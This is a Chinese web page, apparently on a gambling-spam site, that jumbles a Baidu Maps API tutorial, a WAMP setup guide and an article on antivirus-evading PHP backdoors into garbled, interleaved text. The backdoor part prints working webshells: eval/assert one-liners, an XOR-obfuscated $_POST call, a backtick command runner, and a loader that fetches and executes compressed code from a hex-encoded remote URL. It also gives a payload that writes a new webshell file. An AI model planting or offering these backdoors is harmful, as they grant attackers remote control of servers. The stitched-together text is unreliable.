xml地图|网站地图|网站标签 [设为首页] [加入收藏]

正规赌博平台

当前位置:网上十大正规赌博平台 > 正规赌博平台 > 教你识别轻便的免查杀PHP后门,百度地图API使用

教你识别轻便的免查杀PHP后门,百度地图API使用

来源:http://www.nb-machinery.com 作者:网上十大正规赌博平台 时间:2019-07-15 14:03

一个最常见的一句话后门可能写作这样

最近做了个项目,其中项目中有个需求需要用到百度地图进行导航,通过查阅相关资料参考百度地图api完成了一个例子。

本文详细介绍了在Windows2003下使用Apache2.2.21/PHP5.3.5/Mysql5.5.19/phpMyAdmin3.4.9搭建php开发环境。

<?php @eval($_POST['cmd']);?>

示例一:

第一步:下载安装的文件

或这样

API地址:

  1. Apache 版本 httpd-2.2.21-win32-x86-no_ssl.msi

  2. MySQL 版本 mysql-5.5.19-win32.msi

  3. PHP 版本 php-5.3.5-Win32-VC6-x86.zip

  4. phpMyadmin 版本 phpMyAdmin-3.4.9-all-languages.zip

<?php @assert($_POST['cmd']);?>
<!DOCTYPE html>
<html>
<head>
 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <meta name="viewport" content="initial-scale=1.0, user-scalable=no" />
 <style type="text/css">
 body, html,#allmap {width: 100%;height: 100%;overflow: hidden;margin:0;font-family:"微软雅黑";}
 </style>
 <!--调用百度api -->
 <script type="text/javascript" src="http://www.nb-machinery.com/uploads/allimg/190715/14030L0V-0.jpg"></script> 
 <title>地图展示</title>
</head>
<body>
 <div id="allmap"></div>
</body>
</html>
<script type="text/javascript">
 // 百度地图API功能
 var map = new BMap.Map("allmap"); // 创建Map实例
 map.centerAndZoom("西安", 5);  // 初始化地图,用城市名设置地图中心点
 map.addControl(new BMap.MapTypeControl()); //添加地图类型控件
 map.setCurrentCity("深圳");   // 设置地图显示的城市 此项是必须设置的
 map.enableScrollWheelZoom(true);  //开启鼠标滚轮缩放
 var point = new BMap.Point(116.404, 39.915);
 var marker = new BMap.Marker(point); // 创建点
 map.addOverlay(marker); //添加点
 map.removeOverlay(marker); //删除点
 // 创建地址解析器实例
 var myGeo = new BMap.Geocoder();
 //批量解析
 var adds = ["长沙", "深圳", "香港", "郑州 ", "惠州", "南昌", "赣州", "中山", "阳江", "上海", "无锡", "南京"];
 for (var i = 0; i < adds.length; i  ) {
  myGeo.getPoint(adds[i], function (point) {
   if (point) {
    var address = new BMap.Point(point.lng, point.lat);
    var marker = new BMap.Marker(address);
    map.addOverlay(marker);
    var opts = {
     width: 120,  // 信息窗口宽度
     height: 70,  // 信息窗口高度
     title: "项目信息" // 信息窗口标题
    }
    var infoWindow = new BMap.InfoWindow("<a href='#' target='blank'>查看详情</a>", opts); // 创建信息窗口对象
    marker.addEventListener("click", function () {
     map.openInfoWindow(infoWindow,address); //开启信息窗口
    });
   }
  }, "深圳市");
 }
 getBoundary("中国");
 function getBoundary(sRegion) {
  var bdary = new BMap.Boundary();
  bdary.get(sRegion, function (rs) { //获取行政区域
   var count = rs.boundaries.length; //行政区域的点有多少个
   for (var i = 0; i < count; i  ) {
    var ply = new BMap.Polygon(rs.boundaries[i], { strokeWeight: 2, strokeColor: "#4A7300", fillColor: "#FFF8DC" }); //建立多边形覆盖物
    map.addOverlay(ply); //添加覆盖物
   }
  });
 }
</script>

提示:

tudouya 同学在FREEBUF上给出[一种构造技巧]利用

 效果如下:

  1. 建议选择无SSL功能的Apache版本来完成开发,因此我们这里使用了Apache 2.2.21-win32-x86-no ssl.msi。

复制代码 代码如下:

网上十大正规赌博平台 1

2. Windows下安装MySQL就选择.msi安装包格式,我们选择了mysql-5.5.19-win32.msi ,双击根据向导安装即可,简单方便。

<?php  @$_ ; // $_ = 1  $__=("#"^"|"); // $__ = _   $__.=("."^"~"); // _P   $__.=("/"^"`"); // _PO   $__.=("|"^"/"); // _POS   $__.=("{"^"/"); // _POST   ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);  ?>

示例二:

3. PHP我们选择用Windows的.zip版本,php-5.3.5-Win32-VC6-x86.zip。从安全性和性能来说,都是zip版本的好,一般服务器也都是安装这个版本的。

构造生成,当然,嫌太直观可以写作这样

百度地图API是由JavaScript语言编写的,在使用之前需要将API引用到页面中:  现在新版本的需要密钥,下面用的是旧版的

   不要下载NTS版本或VC9版本的,因为VC9是专门为IIS定制的,而VC6 是为Apache或其他WEB服务软件提供的。

复制代码 代码如下:

<script src="=版本&services=true或者false" type="text/javascript"></script>

  1. phpMyAdmin是以PHP为基础的在线MySQL管理工具,在进行phpMyAdmin3 安装时需要的PHP环境至少为PHP5.2,MySQL5 以上的版本,我们这里都符合要求。

<?php @$_ ;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>

显示广州火车站简单实例:

第二步:安装文件

然后再填充些普通代码进行伪装,一个简单的”免杀”shell样本就出现了

网上十大正规赌博平台 2

1. 在要安装的磁盘建一个文件夹。为了管理方便我们在D盘的根目录下创建一个WAMP文件夹。 D:WAMP(WAMP是 windows apache mysql php的缩写)。

我们再来看看号称史上最简单免查杀php后门

<!DOCTYPE html> 
<html> 
<head> 
 <meta charset="utf-8"/> 
 <title>百度地图API的使用</title> 
 <!-- 百度地图API-->
 <script src="http://www.nb-machinery.com/uploads/allimg/190715/14030K214-3.jpg" type="text/javascript"></script> 
 <script type="text/javascript"> 
 function initialize() { 
  //创建地图实例 
  var map = new BMap.Map('map'); 
  //创建一个坐标
  var point =new BMap.Point(113.264641,23.154905);
  //地图初始化,设置中心点坐标和地图级别 
  map.centerAndZoom(point,15); 
 } 
 window.onload = initialize; 
 </script> 
</head> 
<body> 
<!-- 百度地图地图容器-->
 <div id="map" style="width:500px;height:320px"></div> 
</body> 
</html>

2. 在WAMP文件夹下创建一个WWW文件夹,用来存放你的PHP网站程序。D:WAMPWWW。

直接上代码:

地图上添加控件:

  1. 安装Apache服务器,把Apache服务器安装到 D:WAMPApache 文件夹。具体Apache安装过程可以参考文档 Apache安装图解。

  2. 把下载的php-5.3.5-Win32-VC6-x86解压到 D:WAMPPHP 文件夹。

  3. 安装MySql数据库,把MySQL安装到 D:WAMPMySQL文件夹。具体MySQL安装过程可以参考文档 MySQL安装图解。

<?php

$c=urldecode($_GET['c']);if($c){`$c`;}//完整

!$_GET['c']||`{$_GET['c']}`;//精简

/*******************************************************
 * 原理:PHP中``符号包含会当作系统命令执行
 * 示例:http://host/?c=type config.php>config.txt
 *    然后就可以下载config.txt查看内容了!
 *    可以试试更变态的命令,不要干坏事哦!
 *******************************************************/

网上十大正规赌博平台 3

6. 解压phpMyAdmin-3.4.9-all-languages.zip,然后重命名为phpMyAdmin,将其复制到PHP网站程序目录。结果为 D:WAMPWWWphpMyAdmin。

其实现原理就是PHP会直接将 ` 符号(注意:不是单引号)包含的内容解析为系统命令执行!这样就可以自由变态地扩展了!

//添加控件

第三步:配置Apache

再来看同样很简单的一段代码

map.addControl(new BMap.MapTypeControl());

首先使用文本编辑工具(推荐 EditPlus )打开 D:WAMPApacheconfhttpd.conf 文件,这个文件是Apache的配置文件,下面几步都是在修改这个文件的内容。

<?php 
preg_replace("/[errorpage]/e",@str_rot13('@nffreg($_CBFG[cntr]);'),"saft"); 
?> 

MapTypeControl ---------地图类型控件

要注意的是修改完 httpd.conf 文件需重新启动Apache服务,新设置才会生效。

密码page

CopyrightControl --------版权控件

1. 设置监听端口

近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣。接下来就让我们一同共赏这个奇葩的Webshell吧。

ScaleControl       --------比例尺控件

打开 httpd.conf 文件后,找到 Listen(大概在第46行),将它后面的数字改为8080,如下:

Webshell代码如下:

NavigationControl  ------缩放控件

        Listen 8080

<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(
sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

OverviewMapControl  ----缩略图控件

这个参数用来设置Apache服务器的监听端口,一般默认为80。修改为8080 是为了避免和Windows 2003系统的IIS端口号冲突,如果你没有启用IIS,也可以使用默认的80端口号。

关键看下面这句代码,

创建标注:

2. 让Apache加载PHP模块

复制代码 代码如下:

网上十大正规赌博平台 4

找到 #LoadModule vhost_alias_module modules/mod_vhost_alias.so (大概在第128行),在这行的后面添加以下内容:

sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

var marker = new BMap.Marker(point);       // 创建标注
map.addOverlay(marker);      // 将标注添加到地图中
LoadModule php5_module "D:/WAMP/PHP/php5apache2_2.dll"
 AddType application/x-httpd-php .php
 PHPIniDir "D:/WAMP/PHP"
LoadModule php5_module "D:/WAMP/PHP/php5apache2_2.dll"

这里执行之后其实是一张图片,解密出来的图片地址如下:

创建信息窗口:

这句意思是以module方式载入PHP5模块。


然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码,

网上十大正规赌博平台 5

AddType application/x-httpd-php .php

复制代码 代码如下:

var infoWindow = new BMap.InfoWindow("I am here"); // 创建信息窗口对象
map.openInfoWindow(infoWindow,point);     //开启信息窗口

这句意思就是将.php扩展名的文件作为php脚本执行。你可以使用你喜欢的任何其他扩展名,如 .html、.php5 甚至是 .txt  来执行PHP。

<?php
echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));
?>

百度地图偏移量:

PHPIniDir "D:/WAMP/PHP"

无特征隐藏PHP一句话:

经度校正值: 0.008774687519;

这句用来指定PHP的配置文件php.ini 所在的目录。

   <?php 
session_start(); 
$_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]); 
$_SESSION [ 'theCode' ]&&preg_replace( ''a'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION['theCode']))' , 'a' ); 
?>

纬度校正值: 0.00374531687912;

如果是Apache 2 以module模块方式运行php5的话,就可以使用 PHPIniDir 指令。

将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。
超级隐蔽的PHP后门:

您可能感兴趣的文章:

  • 通过百度地图获取公交线路的站点坐标的js代码
  • 百度地图api应用标注地理位置信息(js版)
  • 利用百度地图JSAPI生成h7n9禽流感分布图实现代码
  • JS中引用百度地图并将百度地图的logo和信息去掉
  • javascript使用百度地图api和html5特性获取浏览器位置
  • js 调用百度地图api并在地图上进行打点添加标注
  • 使用百度地图api实现根据地址查询经纬度
  • js调用百度地图及调用百度地图的搜索功能

3. 修改网站存放目录

<?php $_GET [a]( $_GET [b]);?>

我们知道Apache默认的网站存放目录为Apache安装目录下的htdocs文件夹。当你更改网站存放目录,就必须修改相应的Apache配置。

 
仅用GET函数就构成了木马;
利用方法:
    ?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

在配置文件 httpd.conf 中查找 DocumentRoot(大概在182行),将其修改为指向网站目录的正确文件夹。我们这里改为

执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。
层级请求,编码运行PHP后门:
此方法用两个文件实现,文件1  

 DocumentRoot "D:/WAMP/www"

 <?php 
//1.php 
header( 'Content-type:text/html;charset=utf-8' ); 
parse_str ( $_SERVER [ 'HTTP_REFERER' ], $a ); 
if (reset( $a ) == '10' && count ( $a ) == 9) { 
eval ( base64_decode ( str_replace ( " " , " " , implode( array_slice ( $a , 6))))); 
} 

?>

同时,查找 This should be changed to whatever you set DocumentRoot to(大概在207行),在它下面有行 <Directoy 默认的DocumentRoot >,将其修改为你自己配置的DocumentRoot 路径。我们这里修改为:

本文由网上十大正规赌博平台发布于正规赌博平台,转载请注明出处:教你识别轻便的免查杀PHP后门,百度地图API使用

关键词: ag娱乐平台